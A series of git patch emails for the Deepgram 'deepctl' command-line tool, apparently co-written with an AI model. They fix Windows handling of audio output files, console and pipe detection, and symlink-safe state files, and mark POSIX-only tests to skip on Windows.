+        assert dir_fd is None, "no directory descriptors on Windows"
+        if os.path.isdir(path):
+            raise PermissionError(errno.EACCES, "Permission denied", str(path))
+        return real_open(path, flags, mode)
+
+    monkeypatch.setattr(login_state, "DIR_FDS", False)
+    monkeypatch.setattr(login_state, "_O_NOFOLLOW", 0)
+    monkeypatch.setattr(os, "open", open_)
+
+
 @pytest.fixture
 def state(tmp_path, monkeypatch):
     home = tmp_path / "home"
@@ -184,3 +202,57 @@ def test_unreadable_file_of_someone_else_is_reported(state, monkeypatch):
 def test_interval_below_the_floor_is_raised_on_read(state):
     save_pending(pending(interval=1))
     assert load_pending(agent=True).pending.interval == login_state.MIN_POLL_INTERVAL
+
+
+def test_without_directory_handles_save_load_and_remove(state, windows_dirs):
+    """Windows can't open a directory: the pending login is still saved,
+    replaced, read and removed, by path."""
+    save_pending(pending(device_code="one"))
+    save_pending(pending(device_code="two"))
+    loaded = load_pending(agent=True)
+    assert loaded.pending == pending(device_code="two")
+    assert loaded.ignored_why is None
+    assert [p.name for p in state.iterdir()] == ["login-pending.json"]
+    remove_pending(loaded)
+    assert not loaded.path.exists()
+
+
+def test_without_directory_handles_a_file_in_place_of_the_dir(state, windows_dirs):
+    state.parent.mkdir(exist_ok=True)
+    state.write_text("x")
+    with pytest.raises(login_state.StateDirError):
+        save_pending(pending())
+
+
+def _symlink_or_skip(link, target):
+    try:
+        link.symlink_to(target)
+    except OSError as exc:  # Windows without the symlink privilege
+        pytest.skip(f"can't make a symlink: {exc}")
+
+
+@pytest.mark.parametrize("emulate", [False, True], ids=["native", "no_o_nofollow"])
+def test_load_never_follows_a_link(state, tmp_path, request, emulate):
+    if emulate:
+        request.getfixturevalue("windows_dirs")
+    path = save_pending(pending())
+    real = tmp_path / "real.json"
+    path.rename(real)
+    _symlink_or_skip(path, real)
+    loaded = load_pending(agent=True)
+    assert loaded.pending is None and loaded.ignored_why == "symlink"
+
+
+def test_open_nofollow_refuses_a_file_swapped_after_lstat(tmp_path, monkeypatch):
+    """Without O_NOFOLLOW the file opened must be the one lstat saw."""
+    first, second = tmp_path / "a", tmp_path / "b"
+    first.write_text("a")
+    second.write_text("b")
+    monkeypatch.setattr(login_state, "_O_NOFOLLOW", 0)
+    real_lstat = os.lstat
+    monkeypatch.setattr(
+        login_state.os, "lstat", lambda p, **kw: real_lstat(second, **kw)
+    )
+    with pytest.raises(OSError) as excinfo:
+        login_state.open_nofollow(first, os.O_RDONLY)
+    assert excinfo.value.errno == errno.ELOOP

From df1505f0d9506422e3c4d3fea3d910ba063abf1c Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:14:05 -0500
Subject: [PATCH 75/88] fix(speak): write --out-file and -o files correctly on
 Windows

On Windows before Python 3.13 there is no os.fchmod, so replacing a file
(`-o existing.mp3`, or `--out-file X --force`) ended with an
AttributeError that skipped the cleanup and left the .part file behind.
The temp file's mode is now set only where fchmod exists. A new file is
opened with O_BINARY, so a 0x0A in the audio is no longer written as
0x0D 0x0A. A device such as NUL is no longer switched back to blocking
mode where it was never opened non-blocking: Windows has no O_NONBLOCK,
and os.set_blocking works only on pipes there.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../src/deepctl_cmd_speak/sinks.py            |  22 +++-
 .../tests/unit/test_speak_windows.py          | 112 ++++++++++++++++++
 2 files changed, 128 insertions(+), 6 deletions(-)
 create mode 100644 packages/deepctl-cmd-speak/tests/unit/test_speak_windows.py

diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
index a3f7ac41..1f9e5fdb 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
@@ -162,6 +162,10 @@ def _read_umask() -> int:
 
 _UMASK = _read_umask()
 
+# A new file: O_EXCL is the race guard behind the lstat check. O_BINARY
+# (Windows) so a 0x0A in the audio is never written as 0x0D 0x0A.
+_NEW_FLAGS = os.O_WRONLY | os.O_CREAT | os.O_EXCL | getattr(os, "O_BINARY", 0)
+
 # The file types written as they are: character devices and FIFOs.
 # These follow "Couldn't write the output to FILE: " (details.reason).
 _NOT_SPECIAL = "it isn't a file, a pipe or a device like /dev/null"
@@ -328,7 +332,11 @@ def _open_special(path: str, checked: os.stat_result) -> Target | Refusal:
         opened = os.fstat(fd)
         if not os.path.samestat(opened, checked) or not _is_special(opened.st_mode):
             raise OSError(errno.EEXIST, _CHANGED, path)
-        os.set_blocking(fd, True)
+        if getattr(os, "O_NONBLOCK", 0):
+            # Only where it was opened non-blocking: on Windows there is no
+            # O_NONBLOCK, and set_blocking works only on pipes (and not at
+            # all before Python 3.12).
+            os.set_blocking(fd, True)
     except OSError as exc:
         os.close(fd)
         return Refusal("unwritable", exc)
@@ -435,7 +443,7 @@ def open(self) -> None:
             if kind == "new":
                 with critical_section():
                     try:
-                        fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o666)
+                        fd = os.open(path, _NEW_FLAGS, 0o666)
                     except FileExistsError as exc:
                         raise Exists(path) from exc
                     self._fd, self._created = fd, True
@@ -503,10 +511,12 @@ def commit(self) -> None:
             try:
                 if fd is not None:
                     try:
-                        if self._tmp is not None:
-                            # An existing file keeps its permission bits
-                            # ; a new file or a replaced symlink gets
-                            # 0666 & ~umask, as open() would.
+                        if self._tmp is not None and hasattr(os, "fchmod"):
+                            # An existing file keeps its permission bits;
+                            # a new file or a replaced symlink gets 0666 &
+                            # ~umask, as open() would. (No fchmod on
+                            # Windows before Python 3.13: the temp file's
+                            # attributes stay.)
                             mode = self.target.mode
                             os.fchmod(fd, 0o666 & ~_UMASK if mode is None else mode)
                     finally:
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_windows.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_windows.py
new file mode 100644
index 00000000..a662952e
--- /dev/null
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_windows.py
@@ -0,0 +1,112 @@
+"""``--out-file`` and ``-o`` where the OS is Windows.
+
+These run on every OS: each test takes away what Windows lacks (os.fchmod
+before Python 3.13, O_NONBLOCK, os.set_blocking before 3.12) or adds what
+only it has (O_BINARY), so the Windows paths are exercised everywhere.
+"""
+
+from __future__ import annotations
+
+import os
+
+import pytest
+from deepctl_cmd_speak import sinks
+
+
+@pytest.fixture
+def no_fchmod(monkeypatch: pytest.MonkeyPatch) -> None:
+    """Windows before Python 3.13: there is no os.fchmod."""
+    monkeypatch.delattr(os, "fchmod", raising=False)
+
+
+def test_replace_commits_without_fchmod(tmp_path, no_fchmod):
+    """`-o existing.mp3` (and `--out-file X --force`) used to end with an
+    AttributeError that skipped the cleanup and left the .part file."""
+    path = tmp_path / "a.mp3"
+    path.write_bytes(b"old")
+    out = sinks.AudioFile(sinks.plan_target(str(path), overwrite=True))
+    out.write(b"new")
+    out.commit()
+    assert path.read_bytes() == b"new"
+    assert [p.name for p in tmp_path.iterdir()] == ["a.mp3"]
+
+
+def test_replace_over_a_symlink_commits_without_fchmod(tmp_path, no_fchmod):
+    target = tmp_path / "elsewhere.mp3"
+    target.write_bytes(b"keep")
+    link = tmp_path / "a.mp3"
+    try:
+        link.symlink_to(target)
+    except OSError as exc:  # Windows without the symlink privilege
+        pytest.skip(f"can't make a symlink: {exc}")
+    out = sinks.AudioFile(sinks.plan_target(str(link), overwrite=True))
+    out.write(b"new")
+    out.commit()
+    assert not link.is_symlink() and link.read_bytes() == b"new"
+    assert target.read_bytes() == b"keep"
+
+
+def test_a_failed_commit_without_fchmod_still_cleans_up(
+    tmp_path, no_fchmod, monkeypatch
+):
+    path = tmp_path / "a.mp3"
+    path.write_bytes(b"old")
+    out = sinks.AudioFile(sinks.plan_target(str(path), overwrite=True))
+    out.write(b"new")
+
+    def fail(*_args, **_kwargs):
+        raise PermissionError(13, "Permission denied")
+
+    monkeypatch.setattr(sinks.os, "replace", fail)
+    with pytest.raises(sinks.WriteFailed):
+        out.commit()
+    monkeypatch.undo()
+    assert path.read_bytes() == b"old"
+    assert [p.name for p in tmp_path.iterdir()] == ["a.mp3"]
+
+
+def test_a_new_file_is_opened_in_binary_mode(tmp_path, monkeypatch):
+    """On Windows a file opened without O_BINARY is in text mode: every
+    0x0A in the audio would be written as 0x0D 0x0A."""
+    binary = getattr(os, "O_BINARY", 0) or 0x8000
+    monkeypatch.setattr(os, "O_BINARY", binary, raising=False)
+    monkeypatch.setattr(
+        sinks, "_NEW_FLAGS", os.O_WRONLY | os.O_CREAT | os.O_EXCL | binary
+    )
+    real_open = os.open
+    flags_seen: list[int] = []
+
+    def open_(path, flags, mode=0o777, **kwargs):
+        flags_seen.append(flags)
+        if os.name != "nt":
+            flags &= ~binary  # the stand-in bit means something else here
+        return real_open(path, flags, mode, **kwargs)
+
+    monkeypatch.setattr(sinks.os, "open", open_)
+    path = tmp_path / "a.mp3"
+    out = sinks.AudioFile(sinks.plan_target(str(path), overwrite=False))
+    out.write(b"\n\r\n\x1a")
+    out.commit()
+    monkeypatch.undo()
+    assert flags_seen and all(f & binary for f in flags_seen)
+    assert path.read_bytes() == b"\n\r\n\x1a"
+
+
+def test_the_new_file_flags_include_o_binary_where_it_exists():
+    assert sinks._NEW_FLAGS & getattr(os, "O_BINARY", 0) == getattr(
+        os, "O_BINARY", 0
+    )
+
+
+@pytest.mark.skipif(os.name == "nt", reason="needs a real character device")
+def test_null_device_opens_without_o_nonblock_or_set_blocking(monkeypatch):
+    """Windows has no O_NONBLOCK, and os.set_blocking (none before 3.12)
+    works only on pipes: `--out-file NUL` must not need it."""
+    monkeypatch.delattr(os, "O_NONBLOCK", raising=False)
+    monkeypatch.delattr(os, "set_blocking", raising=False)
+    target = sinks.plan_target(os.devnull, overwrite=False)
+    assert isinstance(target, sinks.Target), target
+    assert target.kind == "special"
+    out = sinks.AudioFile(target)
+    out.write(b"audio")
+    out.commit()

From 9935ef29eaa19d015513d519de681843bb678784 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:15:20 -0500
Subject: [PATCH 76/88] fix(speak): don't take a Windows pipe or console for
 another file

Windows reports file index 0 for every pipe, console and device, so
os.path.samestat called any two of them the same file. In an agent
session a piped stdout was taken for NUL and given audio, and
`--out-file NUL` with stderr on a console was refused as stderr. A file
with no index now never matches another. Where stdout has no index, a
character device (a console or NUL) takes audio and a pipe doesn't.
A large listen result in an agent session now tells NUL from a console
there by GetConsoleMode, instead of counting every character device as
the null device.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../src/deepctl_cmd_speak/sinks.py            | 19 +++++--
 .../tests/unit/test_speak_windows.py          | 56 +++++++++++++++++++
 .../src/deepctl_core/result_store.py          | 19 +++++++
 .../tests/unit/test_result_store_windows.py   | 34 +++++++++++
 4 files changed, 124 insertions(+), 4 deletions(-)
 create mode 100644 packages/deepctl-core/tests/unit/test_result_store_windows.py

diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
index 1f9e5fdb..63e78d91 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/sinks.py
@@ -106,6 +106,13 @@ def stdout_stat() -> os.stat_result | None:
         return None
 
 
+def same_file(a: os.stat_result, b: os.stat_result) -> bool:
+    """``os.path.samestat``, except that a file with no index is never the
+    same as another: Windows reports index 0 for every pipe, console and
+    device, so two of them would always match."""
+    return a.st_ino != 0 and os.path.samestat(a, b)
+
+
 def stdout_takes_audio() -> bool:
     """True when stdout is a terminal, a regular file or the null device:
     the destinations where agent mode still writes audio."""
@@ -114,8 +121,12 @@ def stdout_takes_audio() -> bool:
         return False
     if stat.S_ISREG(out.st_mode):
         return True
+    if out.st_ino == 0:
+        # Windows: a pipe, a console or NUL, with nothing to compare. The
+        # console and NUL are character devices; a pipe is not.
+        return stat.S_ISCHR(out.st_mode)
     try:
-        if os.path.samestat(out, os.stat(os.devnull)):
+        if same_file(out, os.stat(os.devnull)):
             return True
         return os.isatty(sys.stdout.fileno())
     except Exception:
@@ -369,11 +380,11 @@ def plan_target(path: str, *, overwrite: bool) -> Target | Refusal:
         followed = None
     if followed is not None:
         err = _stderr_stat()
-        if err is not None and os.path.samestat(followed, err):
+        if err is not None and same_file(followed, err):
             # Audio would be mixed with dg's own messages.
             return Refusal("unwritable", OSError(errno.EINVAL, _STDERR, path))
         out = stdout_stat()
-        if out is not None and os.path.samestat(followed, out):
+        if out is not None and same_file(followed, out):
             return Target(path, "stdout", ident=(followed.st_dev, followed.st_ino))
 
     try:
@@ -557,7 +568,7 @@ def abort(self) -> None:
                 # another file (renamed or replaced meanwhile), leave it
                 # alone.
                 try:
-                    if os.path.samestat(os.lstat(self.target.path), ours):
+                    if same_file(os.lstat(self.target.path), ours):
                         os.unlink(self.target.path)
                 except OSError:
                     pass
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_windows.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_windows.py
index a662952e..1b730f79 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_windows.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_windows.py
@@ -8,6 +8,7 @@
 from __future__ import annotations
 
 import os
+import stat
 
 import pytest
 from deepctl_cmd_speak import sinks
@@ -110,3 +111,58 @@ def test_null_device_opens_without_o_nonblock_or_set_blocking(monkeypatch):
     out = sinks.AudioFile(target)
     out.write(b"audio")
     out.commit()
+
+
+# ── File identity: Windows gives pipes, consoles and devices index 0 ─────
+
+
+def _no_index(mode: int) -> os.stat_result:
+    """What Windows' fstat says about a pipe, a console or NUL."""
+    return os.stat_result((mode, 0, 0, 1, 0, 0, 0, 0, 0, 0))
+
+
+def test_files_without_an_index_are_never_the_same():
+    pipe, console = _no_index(stat.S_IFIFO), _no_index(stat.S_IFCHR)
+    assert os.path.samestat(pipe, console)  # what made them look alike
+    assert not sinks.same_file(pipe, console)
+    assert not sinks.same_file(pipe, pipe)
+
+
+@pytest.mark.parametrize(
+    ("mode", "takes"), [(stat.S_IFIFO, False), (stat.S_IFCHR, True)]
+)
+def test_stdout_without_an_index(monkeypatch, mode, takes):
+    """A piped stdout isn't taken for NUL in an agent session; a console
+    or NUL still takes audio."""
+    monkeypatch.setattr(sinks, "stdout_stat", lambda: _no_index(mode))
+    real_stat = os.stat
+
+    def stat_(path, *args, **kwargs):
+        if path == os.devnull:
+            return _no_index(stat.S_IFCHR)
+        return real_stat(path, *args, **kwargs)
+
+    monkeypatch.setattr(sinks.os, "stat", stat_)
+    monkeypatch.setattr(sinks.os, "isatty", lambda _fd: False)
+    assert sinks.stdout_takes_audio() is takes
+
+
+@pytest.mark.skipif(os.name == "nt", reason="needs a real character device")
+def test_null_device_is_not_taken_for_stderr(monkeypatch):
+    """`--out-file NUL` with stderr on a console or a pipe: neither has an
+    index, so NUL used to be refused as "stderr"."""
+    monkeypatch.setattr(sinks, "_stderr_stat", lambda: _no_index(stat.S_IFCHR))
+    monkeypatch.setattr(sinks, "stdout_stat", lambda: _no_index(stat.S_IFIFO))
+    real_stat = os.stat
+
+    def stat_(path, *args, **kwargs):
+        if path == os.devnull:
+            return _no_index(stat.S_IFCHR)
+        return real_stat(path, *args, **kwargs)
+
+    monkeypatch.setattr(sinks.os, "stat", stat_)
+    target = sinks.plan_target(os.devnull, overwrite=False)
+    assert isinstance(target, sinks.Target), target
+    assert target.kind == "special"
+    monkeypatch.undo()
+    os.close(target.fd)
diff --git a/packages/deepctl-core/src/deepctl_core/result_store.py b/packages/deepctl-core/src/deepctl_core/result_store.py
index 53ab0ff3..932cfb08 100644
--- a/packages/deepctl-core/src/deepctl_core/result_store.py
+++ b/packages/deepctl-core/src/deepctl_core/result_store.py
@@ -404,8 +404,27 @@ def stdout_is_file_or_null() -> bool:
     if stat.S_ISREG(st.st_mode):
         return True
     if stat.S_ISCHR(st.st_mode):
+        if sys.platform == "win32":
+            # Every character device reports device number 0 there: NUL
+            # is the one that isn't a console.
+            return not _windows_console(sys.stdout.fileno())
         try:
             return st.st_rdev == os.stat(os.devnull).st_rdev
         except OSError:
             return False
     return False
+
+
+def _windows_console(fd: int) -> bool:
+    """Whether ``fd`` is a Windows console (GetConsoleMode succeeds on a
+    console and fails on NUL). True when it can't be told."""
+    try:
+        import ctypes
+        import msvcrt
+
+        handle = msvcrt.get_osfhandle(fd)  # type: ignore[attr-defined,unused-ignore]
+        mode = ctypes.c_uint32()
+        kernel32 = ctypes.windll.kernel32  # type: ignore[attr-defined,unused-ignore]
+        return bool(kernel32.GetConsoleMode(handle, ctypes.byref(mode)))
+    except Exception:
+        return True
diff --git a/packages/deepctl-core/tests/unit/test_result_store_windows.py b/packages/deepctl-core/tests/unit/test_result_store_windows.py
new file mode 100644
index 00000000..d426de30
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_result_store_windows.py
@@ -0,0 +1,34 @@
+"""Whether stdout is a file or the null device, where the OS is Windows.
+
+Runs on every OS: Windows reports device number 0 for every character
+device, so NUL is told from a console by GetConsoleMode, stubbed here.
+"""
+
+from __future__ import annotations
+
+import os
+import stat
+import types
+
+import pytest
+from deepctl_core import result_store
+
+
+@pytest.mark.parametrize(("console", "expected"), [(True, False), (False, True)])
+def test_windows_character_device(monkeypatch, console, expected):
+    fake_sys = types.SimpleNamespace(
+        platform="win32", stdout=types.SimpleNamespace(fileno=lambda: 1)
+    )
+    monkeypatch.setattr(result_store, "sys", fake_sys)
+    chr_dev = os.stat_result((stat.S_IFCHR, 0, 0, 1, 0, 0, 0, 0, 0, 0))
+    monkeypatch.setattr(result_store.os, "fstat", lambda _fd: chr_dev)
+    monkeypatch.setattr(result_store, "_windows_console", lambda _fd: console)
+    assert result_store.stdout_is_file_or_null() is expected
+
+
+def test_console_check_off_windows_says_console():
+    """Where GetConsoleMode can't be called, a device counts as a console,
+    so a large result is still saved to a file."""
+    if os.name == "nt":
+        pytest.skip("calls the real GetConsoleMode")
+    assert result_store._windows_console(1) is True

From 6930c53d24b7d02876a793c6ec98958a77556fd2 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:24:21 -0500
Subject: [PATCH 77/88] test: let the 0.5.0 tests run on Windows

On windows-latest, pytest stopped at collection: two skip conditions
called os.geteuid(), which Windows doesn't have. Past that, tests that
send SIGINT to the pytest process with os.kill (which ends the process on
Windows), run a #! script as a fake ffprobe (which never starts, so the
test waits for ever), or check POSIX modes, owners, XDG config paths,
pipes and preexec_fn now skip on Windows, each saying why. The speak
output tests and the help cache tests skip there as files; the Windows
paths of --out-file have their own tests. The agent-mode help golden
pins the platform, and the listen result's 0600 check is POSIX only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/unit/test_probe.py                        |  1 +
 .../tests/unit/test_proxy_loopback.py               |  4 ++++
 .../tests/unit/test_command.py                      |  3 +++
 .../deepctl-cmd-init/tests/unit/test_init_git.py    |  2 ++
 .../tests/unit/test_listen_command.py               |  4 ++++
 .../tests/unit/test_listen_passthrough.py           |  3 ++-
 packages/deepctl-cmd-listen/tests/unit/test_live.py |  1 +
 .../tests/unit/test_speak_output.py                 | 13 ++++++++++++-
 .../tests/unit/test_plugin_update_check.py          |  1 +
 .../tests/unit/test_startup_check.py                |  1 +
 .../deepctl-core/tests/unit/test_config_scan.py     |  5 ++++-
 packages/deepctl-core/tests/unit/test_transport.py  |  1 +
 .../tests/unit/test_trust_root_macos.py             |  1 +
 tests/unit/test_cache.py                            |  4 ++++
 tests/unit/test_entry_point.py                      |  1 +
 tests/unit/test_help_agent_mode.py                  |  6 +++++-
 tests/unit/test_help_parity.py                      |  1 +
 tests/unit/test_lazy_group.py                       |  1 +
 tests/unit/test_stream_discipline.py                |  2 ++
 19 files changed, 51 insertions(+), 4 deletions(-)

diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
index defecc6c..e5d2480e 100644
--- a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
@@ -340,6 +340,7 @@ async def run(self, port):
 class TestInterrupt:
     """Ctrl+C handling in handle(): POSIX signal handler, Windows fallback."""
 
+    @pytest.mark.skipif(sys.platform == "win32", reason="os.kill of SIGINT ends the whole process on Windows")
     def test_sigint_on_the_loop_stops_and_restores_the_previous_handler(
         self, capsys
     ):
diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py
index f23d9e98..fa9a167f 100644
--- a/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_proxy_loopback.py
@@ -13,6 +13,8 @@
 import logging
 from typing import TYPE_CHECKING, Any
 
+import sys
+
 import pytest
 from deepctl_cmd_debug_probe.proxy import ProbeProxy
 from websockets.asyncio.client import connect
@@ -546,6 +548,7 @@ async def __aexit__(self, *exc: object) -> None:
         self.server.close()
 
 
+@pytest.mark.skipif(sys.platform == "win32", reason="the fake ffprobe is a #! script")
 def test_snapshots_do_not_block_the_loop_and_stop_waits_for_summaries(
     monkeypatch, capsys, tmp_path
 ):
@@ -657,6 +660,7 @@ async def never(reader: Any, writer: Any) -> None:
     assert proxy.connections[0].duration_seconds is not None
 
 
+@pytest.mark.skipif(sys.platform == "win32", reason="the fake ffprobe is a #! script")
 def test_second_stop_kills_a_running_ffprobe_and_skips_the_final_probe(
     monkeypatch, capsys, tmp_path
 ):
diff --git a/packages/deepctl-cmd-debug-toolkit/tests/unit/test_command.py b/packages/deepctl-cmd-debug-toolkit/tests/unit/test_command.py
index cdc52cc6..a017acbd 100644
--- a/packages/deepctl-cmd-debug-toolkit/tests/unit/test_command.py
+++ b/packages/deepctl-cmd-debug-toolkit/tests/unit/test_command.py
@@ -1,8 +1,10 @@
 """Tests for API-key handling in support-toolkit commands."""
 
+import sys
 from pathlib import Path
 from unittest.mock import Mock, patch
 
+import pytest
 from click.testing import CliRunner
 from deepctl_core import AuthenticationError
 
@@ -39,6 +41,7 @@ def test_expired_credential_warning_is_visible_to_toolkit_script() -> None:
     assert "Run `dg login` again" in result.output
 
 
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX directory modes")
 def test_unreadable_cache_counts_as_no_cache(tmp_path: Path, monkeypatch) -> None:
     """Loading the debug group reads the toolkit cache; a HOME the user
     can't read must not fail it (every `dg debug <sub> --help` loads it)."""
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init_git.py b/packages/deepctl-cmd-init/tests/unit/test_init_git.py
index 7dfca6c9..8c13fc9c 100644
--- a/packages/deepctl-cmd-init/tests/unit/test_init_git.py
+++ b/packages/deepctl-cmd-init/tests/unit/test_init_git.py
@@ -4,6 +4,7 @@
 from __future__ import annotations
 
 import os
+import sys
 import shutil
 import subprocess
 from typing import TYPE_CHECKING, Any
@@ -86,6 +87,7 @@ def test_repository_config_runs_nothing(tmp_path: Path) -> None:
 
 
 @pytest.mark.skipif(shutil.which("git") is None, reason="git not installed")
+@pytest.mark.skipif(sys.platform == "win32", reason="the hook is a POSIX shell command")
 def test_without_the_settings_fsmonitor_would_run(tmp_path: Path) -> None:
     """Control: the same config does run code when git runs without them."""
     repo = tmp_path / "repo"
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
index 10d5401a..20bdd4bf 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
@@ -3,6 +3,8 @@
 from unittest.mock import Mock, patch
 
 import click
+import sys
+
 import pytest
 from click.testing import CliRunner
 from deepctl_cmd_listen.command import ListenCommand
@@ -1184,6 +1186,7 @@ def close(self):
         assert _json.loads(ws.sent[-1]) == {"type": "CloseStream"}
         assert opened["stream"].events == ["start", "stop", "close"]
 
+    @pytest.mark.skipif(sys.platform == "win32", reason="os.kill of SIGINT ends the whole process on Windows")
     def test_sigint_during_mic_capture_stops_cleanly(self, command, monkeypatch):
         """A real SIGINT while frames are flowing stops the capture: the
         stream is stopped and closed, CloseStream is sent, and the transcript
@@ -1488,6 +1491,7 @@ def run_stream():
         assert result.code == "server_error"
         assert "INVALID_AUDIO" in result.error
 
+    @pytest.mark.skipif(sys.platform == "win32", reason="os.kill of SIGINT ends the whole process on Windows")
     def test_stream_stdin_ctrl_c_preserves_transcript_and_save_to(
         self, command, monkeypatch, tmp_path
     ):
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
index 39ce1837..ccb21127 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
@@ -255,7 +255,8 @@ def test_large_result_under_an_agent_is_compacted(monkeypatch, capsysbinary, tmp
     full = compact["full_result_path"]
     assert Path(full).read_bytes() == body + b"\n"
     assert compact["full_result_bytes"] == len(body) + 1
-    assert stat.S_IMODE(os.stat(full).st_mode) == 0o600
+    if os.name == "posix":
+        assert stat.S_IMODE(os.stat(full).st_mode) == 0o600
     text = json.loads(body)["results"]["channels"][0]["alternatives"][0]["transcript"]
     assert Path(compact["transcript_path"]).read_text() == text + "\n"
     assert compact["transcript_chars"] == len(text)
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live.py b/packages/deepctl-cmd-listen/tests/unit/test_live.py
index e11603b4..0b6ebb3f 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_live.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live.py
@@ -243,6 +243,7 @@ async def main():
     assert items[-1] == b""
 
 
+@pytest.mark.skipif(sys.platform == "win32", reason="non-blocking POSIX pipes")
 def test_reader_blocks_on_full_queue_instead_of_buffering():
     """Backpressure: with nobody consuming, the reader holds at most
     maxsize buffers plus the one it is handing over."""
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
index d2af3e66..de30277a 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_output.py
@@ -11,6 +11,7 @@
 import shlex
 import stat
 import threading
+import sys
 import time
 from pathlib import Path
 from typing import Any
@@ -23,6 +24,13 @@
 from deepctl_cmd_speak.models import SpeakCodedError, SpeakResult
 from deepctl_core import AuthManager, Config, DeepgramClient
 
+# POSIX files and signals throughout (SIGHUP, FIFOs, sockets, modes, and
+# os.kill on this process, which ends it on Windows). The Windows paths are
+# in test_speak_windows.py.
+pytestmark = pytest.mark.skipif(
+    sys.platform == "win32", reason="POSIX files and signals"
+)
+
 
 class _Cut(Exception):
     """Stands in for the SDK error a dropped connection raises."""
@@ -143,7 +151,10 @@ def test_parent_that_is_a_file_is_unwritable(self, tmp_path):
         refusal = sinks.plan_target(str(tmp_path / "f" / "a.wav"), overwrite=False)
         assert refusal.reason == "unwritable"
 
-    @pytest.mark.skipif(os.geteuid() == 0, reason="root ignores permissions")
+    @pytest.mark.skipif(
+        os.name != "posix" or os.geteuid() == 0,
+        reason="POSIX directory modes; root ignores them",
+    )
     def test_unwritable_parent_is_unwritable(self, tmp_path):
         d = tmp_path / "ro"
         d.mkdir()
diff --git a/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py b/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
index e754b7a3..11ee1d09 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
@@ -495,6 +495,7 @@ def test_nothing_recorded_before_the_request(self, check_allowed, monkeypatch):
             mod._thread.join(timeout=5.0)
         assert not (check_allowed / "plugin-update-check.json").exists()
 
+    @pytest.mark.skipif(sys.platform == "win32", reason="POSIX owners")
     def test_unusable_cache_dir_skips(self, check_allowed, monkeypatch):
         import os
 
diff --git a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
index 28b75fcc..e2846e25 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
@@ -191,6 +191,7 @@ def test_oneshot(self, check_allowed, monkeypatch):
         monkeypatch.setattr(mod, "_is_oneshot", lambda: True)
         self._assert_skipped(check_allowed)
 
+    @pytest.mark.skipif(sys.platform == "win32", reason="POSIX owners")
     def test_unusable_cache_dir(self, check_allowed, monkeypatch):
         """A foreign-owned cache dir: no check thread, no network, no state."""
         check_allowed.mkdir(parents=True, mode=0o755)
diff --git a/packages/deepctl-core/tests/unit/test_config_scan.py b/packages/deepctl-core/tests/unit/test_config_scan.py
index 41ab819d..c799a724 100644
--- a/packages/deepctl-core/tests/unit/test_config_scan.py
+++ b/packages/deepctl-core/tests/unit/test_config_scan.py
@@ -453,7 +453,10 @@ def test_foreign_owner_scenarios_warn_per_key(
         assert person["notices"] == []
 
 
-@pytest.mark.skipif(os.geteuid() == 0, reason="root can read any directory")
+@pytest.mark.skipif(
+    os.name != "posix" or os.geteuid() == 0,
+    reason="POSIX directory modes; root can read any directory",
+)
